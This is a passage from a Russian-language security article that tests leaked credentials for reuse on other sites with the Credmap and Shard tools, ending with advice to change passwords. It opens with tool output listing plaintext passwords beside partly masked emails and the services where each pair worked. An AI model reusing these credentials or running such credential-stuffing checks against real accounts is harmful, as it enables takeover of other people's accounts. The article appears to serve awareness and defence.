[+] *******@gmail.com:rawtheme22 - Twitter
[+] *******@gmail.com:sobaked123 - BitBucket
[+] *******@gmail.com:Thee1234 - BitBucket
[+] *******@hotmail.ca:0230176 - BitBucket
[+] *******@gmail.com:19722791 - BitBucket
[+] *******@gmail.com:indonesia2016 - BitBucket
[+] *******@live.co.uk:01cs653 - Facebook, BitBucket
[+] *******@gmail.com:Battlefield710 - Twitter, BitBucket
[+] *******@gmail.com:Supaman1 - Facebook
[+] *******@hotmail.com:Bigdick*12 - BitBucket
[+] *******@outlook.com:darkstar1 - BitBucket
[+] *******@web.de:gt9800 - BitBucket
[+] *******@yahoo.com:mvp123 - Twitter
[+] *******@yahoo.com:arturi09 - BitBucket
[+] *******@gmail.com:092486 - BitBucket
[+] *******@hotmail.com:sappeps12345 - BitBucket
[+] *******@yahoo.com:1morerep - Twitter, BitBucket
[+] *******@cox.net:joiedevivre - BitBucket
[+] *******@gmail.com:23vec4rPcC - BitBucket

После выполнения команды Shard сообщил, что в общей сложности обнаружил 219 учетных записей Twitter, Facebook, BitBucket и Kijiji, которые были зарегистрированы с помощью тех же самых комбинаций имя_пользователя:пароль. Интересно, что на этот раз не был обнаружен Reddit.

Читать также:  Основы Linux.Часть 28 (управление жесткими дисками)

По результатам работы Shard выяснилось, что 166 учетных записей BitBucket были скомпрометированы с помощью этой атаки, проверяющей повторное использование паролей, что не соответствует результатам работы Credmap, который нашел 111 аккаунтов на BitBucket. Crepmap и Shard не обновлялись с 2016 года и мы подозреваем, что результаты по BitBucket в основном (если не полностью) — это ложные срабатывания. Возможно, BitBucket с 2016 года изменил параметры для авторизации, тем самым нейтрализовав способность Credmap и Shard обнаруживать повторное использование паролей.

Мотивированные хакеры могут взломать еще больше паролей

В общей сложности (без учета данных BitBucket) скомпрометированные учетные записи состояли из 61 Twitter аккаунта, 52 из Reddit, 17 из Facebook, 29 из Scribd, 23 из Microsoft и несколько из Foursquare, Wunderlist и Kijiji. Примерно 200 онлайн-аккаунтов удалось скомпрометировать в результате небольшой утечки данных в 2017 году.

Имейте в виду, что ни Credmap, ни Shard не проверяют повторное использование паролей на Gmail, Netflix, iCloud, банковских веб-сайтах, на небольших сайтах вроде BestBuy, Macy’s или сайтах авиакомпаний, которые могут содержать личные данные пользователей.

Если бы Credmap и Shard были обновлены и у нас было больше времени на взлом оставшихся 57% хэшей, то результаты были бы еще выше. С небольшим усилием и свободным временем хакер может скомпрометировать сотни онлайн-аккаунтов, используя совершенно посторонние утекшие в сеть данные об аккаунтах.

Мотивированный злоумышленник с 8 миллионами или 26 миллионами уникальных датасетов может быть причиной больших убытков из-за удаления тысяч онлайн-аккаунтов.

Не игнорируйте нарушения данных

Если вы не хотите, чтобы ваши логины и пароли попали в какую-либо утекшую в сеть базу данных, вы можете сделать несколько очевидных вещей:

  • Измените ваши пароли. Прямо сейчас. И сделайте их сильными. Используйте хороший менеджер паролей, например KeePassX или LastPass, для хранения всех ваших конфиденциальных данных. Посвятите этому один вечер и сбросьте все ваши пароли, даже на небольших сайтах, про которые вы забыли, что вообще там зарегистрировались.
  • Будьте внимательны. Следите за новостями авторитетных изданий, публикующих новости, связанные с хакерами.
  • Реагируйте. Когда происходят нарушения данных, не игнорируйте их. Если вы когда-либо были связаны с сайтом, который затронуло такое нарушение, немедленно измените ваш пароль. Если вы больше не используете учетную запись или не нуждаетесь в ней, удалите ее. Не думайте, что сайт слишком мал, чтобы быть интересным хакерам. Хакер может легко переключиться с аккаунта на небольшом сайте на основной адрес электронной почты. И это вполне возможно.

Если у вас есть вопросы или предложения — обязательно оставляйте их в комментариях.

Отказ от ответственности: Эта статья написана только для образовательных целей. Автор или издатель не публиковали эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор и издатель не несут ответственность за любой причиненный вред или ущерб.
Показать больше в Обучение

Оставить комментарий

Проверьте также

Гид по интернету в Китае: Wi-Fi, мобильный интернет через SIM-карту, китайский файрвол и VPN

Содержание:Публичный Wi-Fi в КитаеКитайская SIM-картаВеликий китайский файрволГосударствен…